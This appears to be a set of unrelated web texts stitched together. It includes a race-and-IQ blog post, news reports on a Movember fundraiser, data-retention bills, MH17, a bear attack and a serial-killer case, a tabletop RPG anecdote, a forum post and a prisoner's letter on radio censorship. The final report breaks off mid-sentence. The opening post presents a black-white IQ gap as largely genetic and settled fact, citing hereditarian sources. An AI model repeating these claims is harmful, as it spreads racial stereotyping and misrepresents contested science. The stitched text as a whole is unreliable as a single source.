-The evidence suggests a persistent black-white IQ gap:  Despite hundreds of billions of dollars of government spending, the education achievement gap hasn’t budged in decades:  According to a groundbreaking paper (How Much Can We Boost IQ and Scholastic Achievement?) by Arthur Jensen, efforts to boost IQ through environment (education spending, enrichment programs, etc.) have failed, as I summarize here: No Love For The High-IQ Basic Income.  The gap even persists among blacks of high socioeconomic status:  Disentangling biological vs. environmental factors is harder. Most of the HBD community accepts it’s a mixture of both – maybe 60% biological and 40% environmental.  There are two ways to disentangle them: twin studies and phenotypes (like head and brain size) that are predictive of IQ.  From THIRTY YEARS OF RESEARCH ON RACE DIFFERENCES IN COGNITIVE ABILITY, by J. Philippe Rushton and Arthur R. Jensen (recommended reading)  Head size is hereditary, correlated with intelligence, and varies among races:  From Not Smart Enough to Succeed: IQ Inequality = Income Inequality:  ….Early warning signs including “callous-unemotional traits” and antisocial behaviour can be identified in childhood and are highly predictive of future psychopathy. Large-scale twin studies have shown that these traits are highly heritable – identical twins, who share 100% of their genes, are much more similar to each other in this trait than fraternal twins, who share only 50% of their genes. In one study, over 80% of the variation in the callous-unemotional trait across the population was due to genetic differences. In contrast, the effect of a shared family environment was almost nil. Psychopathy seems to be a lifelong trait, or combination of traits, which are heavily influenced by genes and hardly at all by social upbringing.  And from Jayman’s Race and Intelligence FAQ (recommended reading):  As this shows, the heritability of IQ and of behavioral traits is consistently high, reaching into the 0.8-0.9+ range. This means, out of a group of people, at least 80-90% of the overall differences between them (known as the “variance” in statistical parlance) can be attributed to genetic differences between them. This chart shows that this becomes most evident in adulthood, when genes have been given a chance to fully express themselves. I have summed this up in a neat set of rules:  Behavioral genetics in a nutshell: heredity: 70-80%; shared environment: 0%; something(s) else: 20-30%. — JayMan (@JayMan471) March 19, 2014  And from Debunking More IQ Denialism:  Various studies have found the heritability of IQ to be between 0.7 and 0.8 in adults and 0.45 in childhood in the United States.[6][18][19] It may seem reasonable to expect that genetic influences on traits like IQ should become less important as one gains experiences with age. However, that the opposite occurs is well documented. Heritability measures in infancy are as low as 0.2, around 0.4 in middle childhood, and as high as 0.8 in adulthood.[7] One proposed explanation is that people with different genes tend to seek out different environments that reinforce the effects of those genes.[6] The brain undergoes morphological changes in development which suggests that age-related physical changes could also contribute to this effect.[20]  Also, from sciencemag.org Genes don’t just influence your IQ—they determine how well you do in school:  In the new study, researchers at King’s College London turned to a cohort of more than 11,000 pairs of both identical and nonidentical twins born in the United Kingdom between 1994 and 1996. Rather than focus solely on IQ, as many previous studies had, the scientists analyzed 83 different traits, which had been reported on questionnaires that the twins, at age 16, and their parents filled out. The traits ranged from measures of health and overall happiness to ratings of how much each teen liked school and how hard they worked. Then, the researchers collected data on how well each individual scored on the General Certificate of Secondary Education (GCSE) exam, an exam that all students in the United Kingdom must take and which is used for admission to advanced classes or colleges. The team found nine general groups of traits that were all highly hereditary—the identical twins were more likely to share the traits than nonidentical twins—and also correlated with performance on the GCSE. Not only were traits other than intelligence correlated with GCSE scores, but these other traits also explained more than half of the total genetic basis for the test scores.  In all, about 62% of the individual differences in academic achievement—at least when it came to GCSE scores—could be attributed to genetic factors, a number similar to previous studies’ findings, the team reports online today in the Proceedings of the National Academy of Sciences.  Related:  Thomas Sowell on The Bell Curve  Black-White IQ Gap Debate  IQ Tests Are Not Culturally Biased  Birth ‘Lottery’ Does Not Preclude Meritocracy  IQ and Morality; IQ and Job Performance
-Image copyright Linda Cook Image caption Linda Cook normally plucks her chin as part of her daily beauty routine  A woman has raised hundreds of pounds for charity event Movember by growing what she calls a "misstache".  Linda Cook, who describes herself as "quite a hairy girly", did not pluck, wax or remove any of her facial hair for the whole of November.  The 49-year-old from Lincolnshire wanted to raise money and awareness because her husband, Robin Cook, was diagnosed with prostate cancer.  She said he "wasn't too keen" on her plan but got used to it.  'You're so brave'  Mrs Cook said she had multiple sclerosis so could not get involved in traditional sponsored events, such as walks or runs.  So she instead decided to take part in Movember.  Image copyright Linda Cook Image caption Linda Cook said getting the hair waxed off is "going to hurt"  "It just seems quite a simple thing to do," said Mrs Cook, of Horncastle.  "Most of the ladies go 'Gosh, you are so brave' but I'm not doing anything.  "Normally I pluck every morning. It's like the routine; you cleanse, tone, moisturise, brush your teeth, pull the hairs out."  Mrs Cook, who has raised £329 through sponsorship so far, is due to have her face waxed at a beauty salon on Friday.  Image copyright Linda Cook Image caption Linda Cook has been wearing a T-shirt to explain why she has facial hair  "It's so going to hurt - I'm like a wolf," she said.  "My tweezers are coming back to being my best friend again, if they forgive me.  "Back in Victorian times I would be in a freak show for bearded ladies."  Her husband, 54, was given the all-clear in October and Mrs Cook said it was lucky his cancer was caught in plenty of time.  She said her facial hair had been a talking point wherever she went in November and had encouraged people to discuss cancer.
-The new administration has put forth recent restrictions on the Environmental Protection Agency halting the exchange of information that may contradict its own controversial stance on environmental issues.  These blackouts are actions one would expect of nations that do not reflect the free and open values of the United States of America and must be revoked immediately so the new administration does not see this as an effective methodology in American politics.  President Trump has pledged to "Make America Great Again", and it is our civic duty to support our President's endeavor of doing so by taking the action outlined in this petition.  [Petition image from the Center for Energy and Environmental Research in the Human Sciences website. CENHS @ Rice! is in no way affiliated with this petition]
-Republican politicians have reportedly called for a sweeping new federal law requiring all Internet Service Providers (ISPs) and operators of millions of WiFi access points -- including hotels, local coffee shops, and home users -- to keep records about users for two years to aid police investigations.  The legislation would impose unprecedented data retention requirements on a broad swath of Internet access providers.  Two bills (S. 436 in the Senate and H.R. 1076 in the House of Representatives) have been introduced so far. Each bill is titled "Internet Stopping Adults Facilitating the Exploitation of Today's Youth Act," or the Internet Safety Act. (Source: cnet.com)  Each bill says a provider of an electronic communication service or remote computing service shall retain for a period of at least two years all records or other information pertaining to the identity of a user of a temporarily assigned network address the service assigns to that user.  The Internet Safety Act would apply not just to AT&T, Comcast, Verizon and all other Internet Service Providers, but also to the tens of millions of homes with WiFi access points or wired routers using the standard method of dynamically assigning temporary addresses. (DHCP or Dynamic Host Configuration Protocol.) Everyone would have to keep such information if the bill became law.  Millions of WiFi Users Affected  The legal definition of electronic communication service is "any service which provides to users thereof the ability to send or receive wire or electronic communications," but the U.S. Justice Department has taken the position that any service that provides others with means of communicating electronically qualifies.  That means that not only public WiFi access points be included. The law would apply to individuals, small businesses, large corporations, libraries, schools, universities, government agencies and Voice over IP (VoIP) services, too.  If the Internet Safety Act became law, all those entities would have to keep logs for at least two years. In their current forms, the bills lack information about fines and the enforcement of the retention of data.  Privacy advocates and civil rights watchdogs say the measure threatens people's privacy and creates potential security risks including identity theft and other fraud. (Source: mediapost.com)  The Internet Safety Act also adds criminal penalties to other child pornography-related offenses, increases penalties for sexual exploitation of minors, and gives the FBI an extra $30 million for the innocent images National Initiative.  Visit Bill's Links and More for more great tips, just like this one!
-Venezuela's government is expelling the Israeli ambassador and all embassy personnel in response to Israel's military offensive in the Gaza Strip.  The OPEC nation's Foreign Ministry said in a statement Tuesday that Israel's campaign constituted "flagrant violations of International Law" and the use of "state terrorism."  Faulty Labeling? Turkey holds suspicious Iran-Venezuela shipment Associated Press Turkish customs discovers lab equipment capable of producing explosives in shipment of 22 containers labeled 'tractor parts' traveling from Iran to Venezuela Turkey holds suspicious Iran-Venezuela shipment  "For the reasons mentioned above, the government of Venezuela has decided to expel the ambassador of Israel and part of the personnel of the Embassy of Israel," the statement said.  The Israeli Foreign Ministry condemned Venezuela following its decision. "Israel will continue to defend itself before its enemies including Hamas and Iran, with which Venezuela has created strong ties," a ministry statement said.  "Venezuela needs to choose which side it is taking in this war. It must choose between those who fight terror and those who support it. It's not surprising that Venezuela is once more clarifying to the world which side it is on."  Venezuelan President Hugo Chavez has condemned the Israeli campaign in Gaza, where more than 600 Palestinians have been killed in ground and air strikes.  Chavez on Tuesday called Israel's offensive a Palestinian "holocaust" and said the presidents of Israel and the United States should be tried in international court.  "The Holocaust, that is what is happening right now in Gaza," Chavez said in televised comments. "The president of Israel at this moment should be taken to the International Criminal Court together with the president of the United States."  The socialist Chavez, a harsh critic of Israel and the US, on Monday had accused Washington of poisoning the late Palestinian leader Yasser Arafat to destabilize the Middle East and justify US-backed Israeli incursions.  In 2006, Chavez threatened to break ties with Israel over its military campaign in Lebanon in a war of words that led both nations to withdraw their envoys.  Chavez, a frequent critic of the US and its allies, said Venezuela also is trying to supply food and medical aid to Gaza.
-But in the end it was the bear who ended up fighting for his life after police shot it in order to save the life of the uninvited intruder into his enclosure.  These dramatic photographs were taken by a visitor to the Bern Park, Switzerland, on Sunday when Finn, a European brown bear aged four, suddenly realised the unwanted human guest in his home.  The 25-year-old man's bid to party with Finn mirrors a similar escapade in Berlin Zoo in Germany on Good Friday this year when Mandy Knobloch, 32, jumped in to swim with the polar bears.  She was severely mauled but rescued before keepers had to open fire on the bears.  Finn was not so lucky. As his massive jaws – capable of crushing steel – and eight-inch fangs that can rip flesh like paper sank into his prey, police had to act fast to save the life of his prey.  Finn picked up the intruder as if he were a rag doll, carting him to the other side of his enclosure which only opened last month.  He pounced after the man climbed onto a wall surrounding and jumped 20 feet into his home.  Police were left with little option but to open fire, they said. Yet they used a fragmentation bullet, the kind which splinters inside the target.  Finn is critically ill but veterinarians are unable to operate because of the number of splinters caused by the bullet.  The man sustained severe head and leg wounds but he is out of danger. Police and zoo officials say there has been an outpouring of public sympathy after the incident – for the bear.
-Kingston, Jamaica - Waterhouse FC (Jamaica), Puerto Rico Bayamon FC (Puerto Rico), and Alpha United (Guyana) will be the Caribbean Football Union (CFU) representatives at the upcoming 2014/2015 CONCACAF Champions League.  The decision was taken by the CFU Executive Committee after consultation with CONCACAF officials and the three (3) Group Winners.  Damien E. Hughes, CFU General Secretary explained that the decision was taken after the Fédération Haïtienne de Football failed to confirm of Valencia F.C (Haiti) as an active member of the Federation. The fallout between the Club and the Haitian Federation has been ongoing for some time and has had the intervention of FIFA, CONCACAF and CFU without successful resolution.  “While we had an outstanding qualifying round of the tournament, we were excited by the prospects of inviting last year’s best Caribbean performer at the CONCACAF Champions League, Valencia FC, to take their predetermined final four spot when we were informed that the Club remains at odds with its National Federation.  “A decision of principle, interpretation of the tournament rules, and fiscal prudence were the factors that went into the final decision. With three (3) spots available and three (3) group winners determined, it did not make practical sense to put the teams through further expense that they could apply at the CONCACAF level since Valencia could not participate. “This decision was supported and endorsed by CONCACAF, confirmed Hughes”  The head of the CFU Secretariat explained that while the three (3) Clubs who have already qualified from their respective groups, as group winners will advance to the CONCACAF Champions League; their participation is still subject to them meeting the minimum standards and fulfilling the regulatory requirements of participation as mandated by CONCACAF. If any of the Clubs fail to meet the standards, then Centro Dominguito (Curacao) as the best overall second place team will take their place at the CONCACAF Champions League.  The CFU extends congratulations to all three (3) Clubs and wishes them success as they fly the flag of the CFU proudly in their endeavors to win this prestigious tournament.  The CFU Club Championship Cup, is the CFU’s official qualifying tournament for the 2014/2015 CONCACAF Champions League from which teams are eligible to qualify for the FIFA Club World Cup.
-I never thought it would happen to me but my players found a way to end my campaign ten sessions early. Let me back up…  I have been a Game Master for about 10 years and playing in RPGs for the past 20, so know that this wasn’t a new GM fluke when I tell you this story. The game was Pathfinder and the players were a rag tag group of heroes set on surviving an island they just landed on. There was a Dwarf Ranger, a Human Sorcerer, a Half-Elf Monk, a Human Rogue, and a Half-Elf Cleric. Through a series of misunderstandings the players helped finish a ritual that set the goddess of madness and monsters, Lamashtu, free upon the world.  Upon regaining her freedom she set to work gathering an army to over take the world. In addition she also passed out cool party favors in the form of a plague. The plague spread swiftly. All of the kingdom’s Priest, Clerics, and Druids worked night and day attempting to stem the tide of it without success.  The players learned that to kill Lamashtu they would need to get a few magical items: a crimson dagger called the Red Lust, a black falchion called the Chilled Heart, and a book called the Tome of Torog. They had acquired the Chilled Heart and the Tome of Torog but while trying to acquire the Red Lust they had lost the Chilled Heart to Lamashtu, along with the lives of the Ranger, the Monk, and the Cleric.  The party was reduced to just the Sorcerer and the Rogue. They were soon joined by a Barbarian, a Cleric, and an Alchemist to continue their quest. Along the way they had acquired a bevy of cursed items… one of which was the Bag of Devouring.  “What is a Bag of Devouring,” you may ask? A Bag of Devouring is a cursed item that acts like a Bag of Holding until you reach your hand in to pull something out. When it detects flesh it tries to swallow its victim whole in one round. If it succeeds you’ll have a 50/50 shot of wishing the victim back to life on your plane of existence, but if you fail it becomes impossible to resurrect the victim with mortal magic. It’s a nice learning tool that I have used in the past to teach players to investigate their magic items carefully. Rarely have I had to devour a character. Normally it makes a failing grab check, the players see the gnashing teeth, and learn a lesson: “Your GM is a jerk.”  The characters knew they weren’t strong enough to challenge Lamashtu in a fight so their next step was to get help. They were given the choice between beseeching the goddess Desna into helping them or going to the High Demon Pazuzu. They opted for the demon. Go figure.  I had designed Pazuzu to be a roguish devil. I know it deviates from the lore but, hey it’s my story. Pazuzu’s lair was a large city deep under ground called Brimstone and at the center of his city was his casino/home. To gain an audience with him they needed to complete some quest to build their reputation. They did so and in the process learned that Pazuzu’s second in command had made a deal with Lamashtu to help her kill Pazuzu and take his power.  At this point they had enough clout to get an audience with Pazuzu so the players headed off to warn him. They successfully gained entrance and started to warn Pazuzu of the treachery in his house only to have Lamashtu burst through the door with the Chilled Heart in hand. Pazuzu agrees to help the players stop Lamashtu if they give him rights to some land in the Great Desert. The players agreed to his terms. I had written Pazuzu and Lamashtu as old lovers, more akin to a very old spiteful married couple. Think Hemingwy and Gellhorn. So it’s not out of character for him to swagger up and passionately embraces her, thus distracting Lamashtu from the fight. Her undead minions fan out to take down the players.  At this point I expect the players to grab the Chilled Heart and make a run for it. I had planned to have them gather an army to protect the last bastion of hope, the City of Light, and face Lamashtu on a giant, wildly cinematic battlefield. I thought this was going to take several sessions to do. I could already see them riding out to meet Lamashtu on the field of battle and put an end to her once and for all… but that’s not what happened.  So Pazuzu has Lamashtu in a passionate embrace. The Alchemist turns to me and says, “Can I drink my potion of Greater Jump?”  “Sure,” I respond.  “Good, I’m going to jump behind Lamashtu while she’s distracted and use the Bag of Devouring on her.”  “How?”  “I’m gonna pull it over her head!”  “Give me a Grapple check.”  The player rolled and failed. Lamashtu’s hand shot up, grabbing the bag and turning it back on the player. Now both he and Lamashtu are locked in a battle over the Bag of Devouring. She was easily winning of course and now was just toying with him.  All of a sudden half the group sprung from the table and huddled up. I knew something was amiss when they sat down with large toothy grins on their face. Or maybe that’s just the way I’m remembering it.  The Wizard turned to me and said he cast Enlarge Person on the Barbarian. The Cleric joined in and also cast Bull’s Strength on the Barbarian. To top it off the Barbarian goes into a full Rage. His strength is now in the low 30s. He lumbered over to Lamashtu and grabbed the bag and began forcing it down on her head. He made his grapple check and, of course, hit a natural 20. The room erupted in screams and cheers. I had them confirm the crit and it was successful. There is no way to deprive them of this, I thought. They worked together and out-smarted me.  So I let it happen. Lamashtu was sucked into the bag. Her undead minions were quickly dealt with but the bag began to rumble and crack. The Wizard piped up, “I want to teleport to the volcano we passed getting here.” I inform them that can do this but whomever goes to volcano won’t be coming back. The blast would be too great for them to survive and teleport back. The Cleric agreed to lay his life down for the greater good. The Wizard teleported the Cleric to the volcano and then teleported back alone. And with that the Cleric tossed the bag into the volcano, Lamashtu’s undead army rotted and fell away, and the plague disappeared. Thus ending the campaign.  I can’t begrudge them the ending they got. Granted it screws up my story and renders days of work and planning useless but that’s not what RPGs are about. The day the GM puts his enjoyment and story above that of the player enjoyment is the day he needs to hang up his dice bag. Game Mastering and most roleplaying games are about a shared storytelling experience.  Sure, I could have railroaded them into the ending I wanted but it wouldn’t have been THEIR ending. The players worked together to solve a problem, the dice were with them, and they had a great time. That’s what really matters, that they had a great time.  The lesson I want to leave you with is that no matter how much you plan and scheme, the players could always go left instead of right. So don’t fight it. Say “Yes and…” and keep on gaming.  Even if they are campaign-ending Munchkins.
-Finally, eight days after the shooting down, in Ukraine, of Malaysia Airlines Flight 17, the remains of some of the two hundred and ninety-eight victims are being returned to their families. Haunting photographs show dozens of coffins being transported in hearses from Eindhoven Air Base toward Hilversum, a small city southeast of Amsterdam, where they will be turned over to forensics experts. Wednesday was declared a national day of mourning in the Netherlands, home to a hundred and ninety-four of the dead—the country’s first such observance in more than fifty years. Elsewhere, including in Malaysia and Australia, governments are preparing to receive what’s left of their citizens who were aboard the doomed flight.  As the cortege made its way from the airport on Thursday, Dutch people lined the route and quietly applauded, a welcome sign that humanity hasn’t completely slipped its moorings. But while some victims and their families are being accorded the dignity they deserve, the remains of scores of others may well still be scattered across the crash site, which, even now, hasn’t been fully secured. At the Ukraine Crisis Media Center, in Kiev, a Dutch official said that there were still “some lunatics” hampering the search being carried out by Ukrainian emergency workers and Dutch police. “It’s very hard for us to get to the bodies, to get to the remains,” he said. “You call it terrorists. To me, it’s criminals. But it’s very near the same.”  With even the basics—establishing proper control over the crash site, getting a serious investigation up and running—still undone, you might think that the international community would be exerting more pressure on Russian President Vladimir Putin. His government appears to bear ultimate responsibility for the attack. On Friday, the twenty-eight members of the European Union reached a preliminary agreement to impose new economic sanctions and an arms embargo on Moscow, and to bar Russia’s large state-owned banks from Europe’s capital markets, where they secure a good deal of the financing they need. After a meeting of E.U. ambassadors in Brussels, a spokesman for the European Commission, the bureaucracy that administers the Union’s policies, said it “will now come forward with the legislative proposals very swiftly.”  At this stage, though, it’s far from clear how much impact the new sanctions, which could be formally agreed upon as early as next week, will have on the Russian economy. On the face of it, the new proposal appears to represent a significant escalation from previous E.U. measures—but the devil is in the details, which have yet to be worked out. British diplomats, keen to promote the City of London, which services Russian money, will be going through the language of the banking proposals meticulously, seeking to limit their impact. The French, who supply arms to Moscow, will be seeking to make sure that their existing contracts aren’t affected. And the Germans, who receive about a third of their natural gas from Russia, will be scrutinizing any restrictions on Gazprom and other Russian energy exporters.  “There’s a triple-lock in Europe,” Mujtaba Rahman, an analyst at the Eurasia Group consultancy, told the Wall Street Journal before the new agreement was announced. “Germany doesn’t want to do energy, France doesn’t want to do defense, and the U.K. doesn’t want to do finance.”  Has that triple lock now been broken? I doubt it. We already know that Russia’s energy sector—which supplies power to many European countries, not just Germany—is likely to escape most of the new restrictions. The exact terms of the arms embargo have yet to be decided, but it isn’t expected to have any effect on existing contracts, such as France’s delivery, later this year, of a Mistral warship. That leaves the new financial sanctions, and I’d be willing to wager that they won’t be as draconian as they might appear, either.  All in all, it looks like Putin, who earlier this week appeared to be getting a bit rattled by the international outrage directed at him, has reason to smile. If Russia did supply the missile that downed MH17, its president bears responsibility for an attack that, though almost certainly directed at the wrong target, killed almost two hundred citizens of a core member of NATO, along with nearly a hundred others. In response, he gets what seems a very modest punishment. Not a slap on the wrist, perhaps, but also not anything that will threaten his continued hold on power, or even his belligerent approach to Ukraine.  To what does Putin owe his good fortune? Realpolitik, of course—and that doesn’t apply only to the European response. The Obama Administration, engaged on many fronts, needs Putin’s support as it deals with Iran and Syria. Blanket sanctions on Russia’s energy industry, or financial sanctions that did real damage to the oligarchs who support Putin, would surely not encourage his full coöperation.  Since there weren’t any Americans aboard MH17, the Obama Administration isn’t facing much political pressure to get tough with Russia. But that doesn’t mean it isn’t concerned. On July 16th, the day before the plane went down, the U.S. government, responding to Russia’s stonewalling in Ukraine, expanded its existing sanctions to include limits on how much money four big Russian entities—two banks and two energy companies—can raise on Wall Street.  So far Washington’s reaction to the Malaysia Airlines tragedy has been largely restricted to talk. Earlier this week, a White House official said that the Administration was considering a new round of sanctions against Russia. Since then, however, there hasn’t been much follow-up. Before criticizing the Europeans for their reluctance to put principle before self-interest, we ought to look closer to home.
-I also think Honami is a net asset. She isn't perfect, but she is much better than average.  Regarding the information we want from her: We will eventually have our own spying network. When we do, we will want to have financial data, gossip, caravan and ninja movements, noblemen movements, etc. Honami is in a perfect position to gather noble gossip and food prices, at minimum.  I wholeheartedly support using skulls as a seal-writing medium. We should make it our priority when we have Sealing 20 (which costs 432 XP , so it won't be soon)  We should also think about other creative uses of seals on bones. Force Blade seals inscribed on knuckles under the skin to allow Wolverine-style force claws, anyone? (Of course, we will need to modify Force Wall to make it smaller and mobile, first)  While unknown unknowns are an issue, I don't really expect there to be giant chakra jellyfish zeppelins. Actually, if they do exist, we totally should get us one as a mount.  Still, I very much prefer the sky to the sea.  Click to expand... Click to shrink...
-via Nikki Loehr.  Last month, Barrett Brown's legal counsel sent us a letter from their imprisoned client, who was at the time bored out of his mind in jail. Today we received another missive from Barrett, this time exploring the contradictions of censorship in America, and what it says about our citizenry.  The fact that certain words are still bleeped out on the radio strikes me as a sort of historical oversight. It seems like one of those practices that should have been ended by previous generations, like prohibitions on sending birth control information through the federal mail, or the obligatory depiction of married couples as sleeping in separate beds on network television. The Baby Boomers probably intended to deal with radio censorship, but then they got caught up with Vietnam, and then Watergate, and then Star Wars came out, and before you knew it it was the 80s and nobody was into social liberalization anymore. Long story short—it's 2013 and you still can't say "fuck" on the airwaves without getting fined by the Federal Communications Commission.  I know what you're thinking: Is the de facto FCC-driven ban on "explicit lyrics" over the national airwaves really the huge deal he's about to try to make it, or is this guy just an idle rabble-rouser with too much time on his hands? Or both? To answer these questions, we should probably get a sense of what, specifically, we are talking about when we refer to "the de facto FCC-driven ban on explicit lyrics." Luckily, I've spent a good portion of the last year compulsively listening to the radio and taking notes whenever a word is bleeped out, so we have some research to go on. (And, just for the record, yes, I do have too much time on my hands.)  Before we look at the specifics, it should be noted that the blame for what we're about to find doesn't lie entirely with the FCC. Although it is a state entity that practices coercion through its ability to fine and shut down broadcasters, it is of course not the only factor that goes into a given broadcaster's policies regarding what does and doesn't make it on the airwaves. If the FCC were to disappear tomorrow, for example, networks would not start filling their primetime lineups with lesbian pornography. Likewise, some of the "bleeps" and word substitutions on the radio aren't even necessary to avoid FCC fines, but are instead done because some company executive has the vague sense that advertisers might find such content offensive. That matters solely because the advertisers in turn have the vague sense that consumers might find such content offensive and so direct their demented rage toward the advertiser. And thus it is that the totality of radio censorship in the U.S. is a messy-yet-comprehensive indicator of the national psyche, as represented not only by what our state bans, but also what our commercial institutions fear and what is believed to be upsetting to our people. It is, all in all, an across-the-board index of the American character.  And what if it reveals the American character to be psychotic?  Let us calibrate with some help from Sublime. If the reader has the ill-fortune to recall the 90s, he or she will no doubt also remember that Sublime song that goes, "Lovin' is what I got." I'm guessing it's entitled "Lovin' (Is What I've Got)" or something. This obnoxious little song proceeds apace until we reach the line:  “I can play the guitar like a motherfucking riot.”  ...at which point the frontman proves this with a riot-y guitar solo. And as you would probably expect, the "fucking" in "motherfucking" is missing from the radio version. Well, certainly we can do without it, for the sake of the children.  Later the singer goes on to illustrate his imperturbability:  “I don't get angry when my mom smokes pot  Hits the bottle and goes right to the rock”  Here, both "pot" and "rock" are left out. Again, we can probably get over this pretty quickly. The kids, etc. We don't want the kids smoking marijuana and crack rocks trying to imitate their hero, the lead singer of Sublime's mom. If they want to hit the bottle a little, though, that might be OK, because we're pretty hip parents. Maybe we'll give them a bit of wine next time we have one of our little dinner parties. Oh, come on, honey, the Europeans do it. Don't be that way.  Now let's look at a song by Weezer that appears on the very same station. The song is called "Hash Pipe," and it is about a hash pipe. It includes the refrain "I got my hash pipe," and otherwise consists of the vocalist going on and on about the virtues of his precious hash pipe. Unlike the word "pot," "hash pipe" is not censored at all. So what gives? What was all that bullshit about the kids? Maybe the thinking is: We're not too worried about kids getting their hands on hash, which after all is pretty exotic. If they've got access to hash in the first place, they're probably already in that phase where they're hanging out with Arab drug dealers, staying up all night taking acid, and using a Ouija board to communicate with djinn. They're just, like, on that journey, man, so let it play out. Let it all play out. Probably that's what the thinking is on that.  Otherwise we've got ourselves a big, glaring contradiction.  But maybe you're not sold. Perhaps a bit of inconsistency is to be expected here and there across any censorship policy, and surely it would be ungenerous to just malign an entire nation over some small discrepancies. Fair enough. On the other hand, I've got my little heart set on maligning an entire nation, plus I've already written that whole introduction and everything, so let us reach an accommodation. I am so superbly confident of the demonstrable psychosis of the American people that I will now proceed to prove my point entirely within the context of Sublime tracks and the manner in which they're censored. What's more, I will limit my case to a mere two Sublime songs beyond the one we've already examined.  We'll start with "Santaria," which still gets plenty of play on the nation's "alternative rock" stations. To the extent that the song is about anything in particular, it deals with the protagonist's angst over his girlfriend having left him for some guy:  “If I could find my Hannah  And that Sancho that she's found  Well I'd pop a cap in Sancho  And I'd slap her down”  It continues:  “And I won't think twice to stick that barrel  straight down Sancho's throat  Believe me when I say that  I've got something for his punk-ass”  None of this is censored, because it's not like he's singing about smoking pot or anything. He simply wants to beat up his ex-girlfriend and murder his romantic rival. If the kids can't groove to that, fuck 'em.  Finally, I present for your consideration "Wrong Way," in which the stage is set as such:  “Danni's 12 years old  In two more she'll be a whore  Nobody ever told her  It's the wrong way”  ...and so on and so forth. But hapless Danni isn't headed for whoredom in a vacuum. We're provided with the following exculpatory background:  “The only family that she's ever had  Were her seven horny brothers  And a drunk-ass dad”  But hark! Here, the "ass" in "drunk-ass" is silenced out in radio play. On the one hand, we don't want to darken the innocence of the kids, who are just trying to listen to the song about the child prostitute without having their virgin ears assaulted with filth. On the other hand, you may recall that the phrase "punk-ass," as applied to intended murder victim Sancho, was left intact. I don't think I could think up even a facetious explanation as to why "punk-ass" is OK but "drunk-ass" simply must be censored.  Moving on:  “A cigarette rests between her lips  But I'm staring at her tits  It's the wrong way  Strong if I can  But I am only a man  So I take her to the can  It's the wrong way”  Here, the word "tits" has been removed. Finally, then, we've found at least a modicum of consistency, a sense of the rule of law, if only within the context of this one song—between "tits" and "ass," clearly we're not going to do references to secondary sexual characteristics in "Wrong Way." So that's something, at least. BY THE WAY, DID YOU CATCH THE PART WHERE HE TAKES THE CHILD PROSTITUTE TO THE BATHROOM SO HE CAN FUCK HER?  In conclusion, they should let me out of jail.
-Police released Wednesday the 911 call they received from a woman who was being held against her will in Ashland, Ohio. (WCPO)  Shawn Grate was charged last week with murder and kidnapping, discovered only because the woman he was holding after tying her up in an abandoned house in Ashland County, Ohio, managed to get his cellphone, call 911 and whisper, desperately, “I’ve been kidnapped.”  [‘I’ve been kidnapped’: Agonizing 911 call leads to 3 bodies, a terrified woman and a captor]  In addition to the kidnapping victim, thankfully alive, police found two bodies in the house.  One has now been identified as Stacey Stanley, 43, a recovering drug addict whom Grate has been charged with beating to death.  The second has been named as Elizabeth Griffith, 29, of Ashland, who had been missing for about a month.  Once in custody, Grate opened up, police say. They don’t know why. Perhaps he just wanted to get it off his chest.  Candice Cunningham  Grate led them to a third body buried in a wooded area in nearby Mansfield, Ohio. She was identified Monday as Candice Cunningham, 29, according to Fox 8 Live.  Cunningham, of Canton, Ohio, was killed inside a house in Mansfield and dumped in the woods in June, police said.  According to Cleveland 19 News, he also told them about Rebekah Leicy. In March 2015, police found her body in a field in Ashland. Her death had originally been attributed to an overdose, but Grate told authorities he strangled her.  BREAKING: Mansfield police have reopened the investigation into the 2015 death of Mansfield resident Rebekah Leicy. https://t.co/xvThZlBBcX — MansfieldNewsJournal (@MansfieldNJ) September 18, 2016  And he told police about the first woman he killed, police say, in Marion County.  She has no name, at least not yet. And until this week, she had no killer or cause of death linked to her.  That’s been haunting Marion County Sheriff Tim Bailey for over a decade. He remembers well where they found the body in March 2007.  It was near the dump, which nowadays goes by the name of “transfer station,” along a street named Victory Road.  A man, down on his luck, was searching for cans he could exchange “for a little pocket money,” as the Columbus Dispatch reported a year later, when he came across what the paper described as “a skull and a pile of bones in a ditch.”  About all they could determine, Bailey recalled at a news conference Monday, was that it was the body of a woman. She carried no identification.  “This wasn’t the first body that we’ve found,” he said.  Shawn Grate was arrested Sept. 13 in Ashland, Ohio. (Ashland County Sheriff’s Office/Times-Gazette via AP)  “Typically,” he said, “there’s some feature” police can use to identify a body, some item of clothing” or a driver’s license. “This time there was nothing.”  They didn’t even know how long the body had been where it was found. No missing person report was available to guide them.  The only clue to her fate, and they weren’t even sure at the time it was one, were the leaves in a tree near the body. They had been burned.  Candice Cunningham.  So when he learned last week that Grate, who had lived about a mile from the site at the time, had been arrested up in Ashland County, he thought immediately of those remains from Victory Road almost a decade earlier.  He knew of Grate, who had more than his share of run-ins with the law in both Ashland and Marion counties.  Bailey sent an investigator up to Ashland to interview Grate.  “He was very polite,” Bailey said at the news conference. And he knew all about the body found along Victory Road.  He told the investigator that the woman, about 26, had sold subscriptions to his mother. When she didn’t deliver them, his mother got upset and so did he.  About a year after that, in 2005, Grate told the investigator he spotted her again.  “He got her into his car by telling her he wanted to buy some magazines,” Bailey said Grate admitted. But then he took her to his home, stabbed her to death and hid the body in his basement for two days before taking the body out to Victory Road, where he dumped it.  As the months went by, the sheriff said Grate told the investigator, Grate got concerned that maybe someone would find the body and use DNA to identify her.  So he went back to Victory Road “and set the body on fire.”  Thus, said Bailey, the burned leaves.  Grate told the investigator he did not know the woman’s name, although he had taken her driver’s license. It began with a “D” he told the officer, maybe Dana or Diana.  Bailey said the woman still has not been identified, and he pleaded with the public for information.  As for Grate, Bailey says he has no doubt that he’s a serial killer.  “I’m surmising,” he said. “When you start in 2003 or 2004 and you’re still doing it in 2016, there’s got to be something in between. It’s hard to believe that others aren’t out there,” Bailey said.  “He’s obviously a serial killer,” Bailey said.  Grate has a lengthy arrest record, mostly for domestic abuse. One of the women, Christina Hildreth, an ex-girlfriend who brought some of those charges against him, spoke to Cleveland 19 News.  “At first I thought he was just different,” she said of the first of their six years together.  “He had such a way of rattling off weird things, odd comments,” she said. “Little weird things,” like telling people, ” ‘I’m gonna come back and get you.’ ”  It began to seem “more like evil,” especially the “things he told me that he had done with previous girlfriends. … It did put a red flag up, but I had nowhere to go.”  But “the more it progressed, the more I needed to get away.” But she said there was nowhere to go.  In 2010, she said, he beat her badly, breaking her hand, trying to strangle her, holding her down in the bathtub before she managed to get away from him, permanently, Hildreth told Cleveland 19.  Grate, 40, pleaded not guilty Monday morning to two murder charges and a charge of kidnapping in Ashland County Common Pleas Court, according to the News Journal. The other cases are still being probed, and he has not been charged in connection with them.  “I think he would have 